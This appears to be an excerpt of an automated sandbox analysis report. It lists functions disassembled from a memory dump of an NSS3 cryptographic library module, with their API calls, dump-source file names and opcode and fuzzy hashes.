_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CBE0BDE), ref: 6CBE0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CBE0BDE), ref: 6CBE0E32

Strings

%s incr => %d (find lib), xrefs: 6CBE0E2D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2b71141b96a8c3df00aba6277963e661e7a28811a16e50d2ee1f0f1b592cd495
Instruction ID: 591a06c3673e12b89001f6a06bad387d2ad286d10139529efe3ee3f4cbd7f633
Opcode Fuzzy Hash: 2b71141b96a8c3df00aba6277963e661e7a28811a16e50d2ee1f0f1b592cd495
Instruction Fuzzy Hash: D0012872B002509FE6209F28AC45E1773BCDF49A49B05483DD949D3A51EB61FC1887E1

Function 6CC3C590 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CC3C5C7
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CC3C603
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CC3C636
PK11_FreeSymKey.NSS3(?), ref: 6CC3C6D7
PK11_FreeSymKey.NSS3(?), ref: 6CC3C6E1

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$DoesMechanism$Free
String ID:
API String ID: 3860933388-0
Opcode ID: 08da79acf4612788d2f2c3e61d0008abc6d5a417ab94bf756b4999649d8d74c9
Instruction ID: 881ffe896d77230335eaf83bc34cb58bd4d5fb68b2b204006a0cef6d49b26508
Opcode Fuzzy Hash: 08da79acf4612788d2f2c3e61d0008abc6d5a417ab94bf756b4999649d8d74c9
Instruction Fuzzy Hash: 824182B560062AAFDB01AF69EC81DAF77B9EF18348B005128FD09D7710F731D8258BA1

Function 6CC367D0 Relevance: 7.6, APIs: 5, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC361F0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(70E85609,6CC2C79F,6CC3781D,?,6CC2BD52,00000001,70E85609,D85D8B04,?,?), ref: 6CC36207
Part of subcall function 6CC361F0: PORT_Alloc_Util.NSS3(-00000002,?,6CC2C79F,6CC3781D,?,6CC2BD52,00000001,70E85609,D85D8B04,?,?), ref: 6CC36216
Part of subcall function 6CC361F0: NSSUTIL_ArgStrip.NSS3(70E85609,?,?,6CC2C79F,6CC3781D,?,6CC2BD52,00000001,70E85609,D85D8B04,?,?), ref: 6CC36242
Part of subcall function 6CC361F0: memcpy.VCRUNTIME140(00000000,70E85609,00000000,?,?,?,6CC2C79F,6CC3781D,?,6CC2BD52,00000001,70E85609,D85D8B04,?,?), ref: 6CC3625A
Part of subcall function 6CC361F0: PL_strncasecmp.NSS3(00000000,tokens=,00000007), ref: 6CC36289
Part of subcall function 6CC361F0: PL_strncasecmp.NSS3(00000000,cryptoTokenDescription=,00000017), ref: 6CC3629D
Part of subcall function 6CC361F0: free.MOZGLUE(6CC3781D), ref: 6CC362B4
Part of subcall function 6CC361F0: NSSUTIL_ArgFetchValue.NSS3(00000017,?), ref: 6CC362BF
Part of subcall function 6CC361F0: PL_strncasecmp.NSS3(?,cryptoSlotDescription=,00000016), ref: 6CC36304
Part of subcall function 6CC361F0: free.MOZGLUE(6CC3781D), ref: 6CC3631B
Part of subcall function 6CC361F0: NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC36326

PORT_Alloc_Util.NSS3(00000001,?,?,?,?,?,00000000,6CC2C79F,6CC3781D,?,6CC2BD84,?,00000000,00000000), ref: 6CC36834
free.MOZGLUE(6CC2C79F,?,?,?,?,?,?,00000000,6CC2C79F,6CC3781D,?,6CC2BD84,?,00000000,00000000), ref: 6CC368C2
free.MOZGLUE(6CC2C79F,?,?,?,?,?,?,00000000,6CC2C79F,6CC3781D,?,6CC2BD84,?,00000000,00000000), ref: 6CC368D3
free.MOZGLUE(6CC3781D,?,?,?,?,?,?,?,00000000,6CC2C79F,6CC3781D,?,6CC2BD84,?,00000000,00000000), ref: 6CC368E1
free.MOZGLUE(?,?,?,?,?,?,?,00000000,6CC2C79F,6CC3781D,?,6CC2BD84,?,00000000,00000000), ref: 6CC368ED

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$L_strncasecmp$Alloc_FetchUtilValue$Stripmemcpystrlen
String ID:
API String ID: 1610830232-0
Opcode ID: 6fb7bb7e69dcbd8d2e91ecac87adf77fe02b1199f90aad53eec9674d775472c1
Instruction ID: 7bc5cbfe4f2966c28a2904467394b27d5751df6f54c58596c051eaf4e5af5168
Opcode Fuzzy Hash: 6fb7bb7e69dcbd8d2e91ecac87adf77fe02b1199f90aad53eec9674d775472c1
Instruction Fuzzy Hash: 2A4192B1E0062A8BEF00DF99E8849AEB7B5FF48318F144129DD19E7701E735A915CBE1

Function 6CC54690 Relevance: 7.6, APIs: 5, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000001,00000000,00000000,6CD40148,?,6CC073A4,?,00000027,00000022), ref: 6CC546D9
PORT_ZAlloc_Util.NSS3(00000001,00000022), ref: 6CC5473E
free.MOZGLUE(00000000,?,00000022), ref: 6CC5476C
free.MOZGLUE(00000000,?,00000022), ref: 6CC5477A
PORT_Strdup_Util.NSS3(6CD40148,00000000,00000000,6CD40148,?,6CC073A4,?,00000027,00000022), ref: 6CC54788

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_free$Strdup_
String ID:
API String ID: 1542459429-0
Opcode ID: e1623e3ff78e81399b535de9654bd5f7421a3714f7b20ff5b76626c8f6c0029e
Instruction ID: 06a30f0b3d07c62633eb2ea3e0f8c98ad7c8428cd1c312e9467b607982169083
Opcode Fuzzy Hash: e1623e3ff78e81399b535de9654bd5f7421a3714f7b20ff5b76626c8f6c0029e
Instruction Fuzzy Hash: 9431261A6096C54EE7028A395CA13F32F9A9B4719DB9C00A8DCDAC7B12F513843DC699

Function 6CC387A0 Relevance: 7.6, APIs: 5, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,00000000,00000000,00000000,?,6CC395A0), ref: 6CC387B3

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PORT_NewArena_Util.NSS3(00000800,6CC395A0,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC38829
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,6CC395A0,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC38842
SEC_ASN1DecodeItem_Util.NSS3(?,00000000,6CD1D8C4,?,?,?,?,6CC395A0), ref: 6CC38872
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CC395A0), ref: 6CC388CE

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_$AlgorithmAlloc_ArenaDecodeFindFreeItem_Tag_
String ID:
API String ID: 906083512-0
Opcode ID: 2fcf9a2e8dc37aff1b86f2d69b1995ffe5443f3e5ee4297092aa64ece92041b9
Instruction ID: 17b07eefac665acc22e39eaf56e932a92b0f932f3fb5efb28fc208cb0a04fa05
Opcode Fuzzy Hash: 2fcf9a2e8dc37aff1b86f2d69b1995ffe5443f3e5ee4297092aa64ece92041b9
Instruction Fuzzy Hash: DD312372E4512497FB109A2ABC40FAA7225BB41368F051677EC0DE7A81F760995883E3

Function 6CC82460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6CD27379,00000002,?), ref: 6CC82493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC824B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6CD27379,00000002,?), ref: 6CC824EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6CD27379,00000002,?), ref: 6CC824F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6CD27379,00000002,?), ref: 6CC824FE

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: adc17a0026088d0e69bb36d8ac3f4c5f908a38e0f8d1f9706033d0aa18854173
Instruction ID: d73f2a9326e5d402d0cb13abe5fe625638f1678e00fd3e3267b4a1e6ace4640f
Opcode Fuzzy Hash: adc17a0026088d0e69bb36d8ac3f4c5f908a38e0f8d1f9706033d0aa18854173
Instruction Fuzzy Hash: CB31C6B1A00115AFEB009FA5DC59BBBBBA4EF8430CF104125FE19D6A90F734D964C7A1

Function 6CC88530 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CC88549
TlsGetValue.KERNEL32 ref: 6CC885CF
TlsGetValue.KERNEL32 ref: 6CC885FE
TlsGetValue.KERNEL32 ref: 6CC88629
memcpy.VCRUNTIME140 ref: 6CC88655

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$IdentitiesLayermemcpy
String ID:
API String ID: 2311246771-0
Opcode ID: 1491c71097bd66172c22c08d6016735328ea3f697e305c54953dde1761aec944
Instruction ID: 54738fd0f5ca763c41d7aacc0c7ffbcf84f7011cf133e952e3816360d0bebb30
Opcode Fuzzy Hash: 1491c71097bd66172c22c08d6016735328ea3f697e305c54953dde1761aec944
Instruction Fuzzy Hash: B341807060A741CBEB00AF79D544BABBBB4BF4574CF10862AD99887F55EB30D484CB82

Function 6CBEEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBEEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CBEEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CBEEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBEEEEB
free.MOZGLUE(?), ref: 6CBEEEF6

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 090fc5447ff770e989aa86fed803b1edca70085c5071317507d09b39855ef724
Instruction ID: 246a35e3ddc891768c7fe4a83268a9d0818fed2f490188dd4dd83e433e182856
Opcode Fuzzy Hash: 090fc5447ff770e989aa86fed803b1edca70085c5071317507d09b39855ef724
Instruction Fuzzy Hash: 91313C716006C09BE7209F2CCC4576A7BF8FB4DB89F540529EA5A87B50E731E418CBD2

Function 6CD0A530 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD0A55C
PR_IntervalNow.NSS3 ref: 6CD0A573
PR_IntervalNow.NSS3 ref: 6CD0A5A5
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0A603

Part of subcall function 6CCB9890: TlsGetValue.KERNEL32(?,?,?,6CCB97EB), ref: 6CCB989E

_PR_MD_UNLOCK.NSS3(?), ref: 6CD0A636

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Interval$CriticalEnterSectionValue
String ID:
API String ID: 959321092-0
Opcode ID: 0bc5cac3d7094d4cde718056751421abd4d69507bfb97dd72073124ad5c68257
Instruction ID: e18a2d150f72a2e49dc795c19f4113a7c2a62335c69f87d7a51008361c025b7f
Opcode Fuzzy Hash: 0bc5cac3d7094d4cde718056751421abd4d69507bfb97dd72073124ad5c68257
Instruction Fuzzy Hash: CB316BB1A00606CFCB00DF69C8C4A9ABBB5BF45319F158165D8189BB26E730EC84CF90

Function 6CC186D0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC18716
TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC18727
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC1873B
PR_Unlock.NSS3(?), ref: 6CC1876F
PR_SetError.NSS3(00000000,00000000), ref: 6CC18787

Part of subcall function 6CC179F0: memcpy.VCRUNTIME140(?,6CD1AB28,000000FC), ref: 6CC17A1E
Part of subcall function 6CC179F0: PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC17A48

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$AuthenticateCriticalEnterK11_SectionUnlockValuememcpy
String ID:
API String ID: 3710639568-0
Opcode ID: 92aa422d0de8db1e951f925fd69161916d534c772dc92d70480ba9470a466b79
Instruction ID: 0c356eff6e3bcd40467e36ca364fc7973fab8978957c0aba1f07de28f247412e
Opcode Fuzzy Hash: 92aa422d0de8db1e951f925fd69161916d534c772dc92d70480ba9470a466b79
Instruction Fuzzy Hash: 37314976A04200AFEF00AF65EC40EAA77B9EF45318F154025FE099BB11FB31E948D792

Function 6CBF44D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6CBF44FF

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

SECOID_FindOID_Util.NSS3(?), ref: 6CBF4524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CBF4537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6CBF4579

Part of subcall function 6CBF41B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CBF41BE
Part of subcall function 6CBF41B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBF41E9
Part of subcall function 6CBF41B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CBF4227
Part of subcall function 6CBF41B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6CBF423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF459C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: d8ca29763f7f52b614902333d4f8019176f708bd246c515224c4fcfc0d3b7045
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: C821D6716016809BFB12EE299E44B6B37A8DF41758F140428BC35CBB51F721ED0ECEA2

Function 6CBFA6B0 Relevance: 7.6, APIs: 5, Instructions: 90timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(00000000,00000000,6CBFA2FA,00000000,6CBFA2FA,00000000), ref: 6CBFA6E4

Part of subcall function 6CBF1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CBF1E0B
Part of subcall function 6CBF1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CBF1E24

TlsGetValue.KERNEL32(?,?,?,?,6CBFA2FA,00000000), ref: 6CBFA723
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CBFA2FA,00000000), ref: 6CBFA733
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBFA2FA,00000000), ref: 6CBFA74C
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,6CBFA2FA,00000000), ref: 6CBFA774

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Choice_DecodeTime$Arena_CertCheckCriticalEnterFreeSectionTimesUnlockValidValue
String ID:
API String ID: 2353111112-0
Opcode ID: f2a00a8de46a071c962e7d3c966478f91b6c3b5c88a104782bf1bebcbf62ce21
Instruction ID: 31094c9865e2d8ec1263688535a685eaa8d9b57366728631b02fda45c0117640
Opcode Fuzzy Hash: f2a00a8de46a071c962e7d3c966478f91b6c3b5c88a104782bf1bebcbf62ce21
Instruction Fuzzy Hash: 962109B5A006405BE704AE29CC41F6B77B8DF59258F144428ED3887741FB31E44E8BA3

Function 6CBFE5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6CBFE755,00000000,00000004,?,?), ref: 6CBFE5F5

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6CBFE62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6CBFE63E

Part of subcall function 6CC4F9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6CBEF379,?,00000000,-00000002), ref: 6CC4F9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6CBFE65C

Part of subcall function 6CC1DDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC1DDEC
Part of subcall function 6CC1DDD0: PK11_DigestBegin.NSS3(00000000), ref: 6CC1DE70
Part of subcall function 6CC1DDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CC1DE83
Part of subcall function 6CC1DDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6CC1DE95
Part of subcall function 6CC1DDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CC1DEAE
Part of subcall function 6CC1DDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC1DEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6CBFE68E

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: e6e7ba1ce348a09c8c1caa71438e89be80a49a1337b3a63d187839737fe7ce11
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: C7210176B012947FFB004EA59C80E7E7B98DF80258F558134AD299BB51FB21DD29C2D2

Function 6CBFAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000,00000000), ref: 6CBFADA7

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
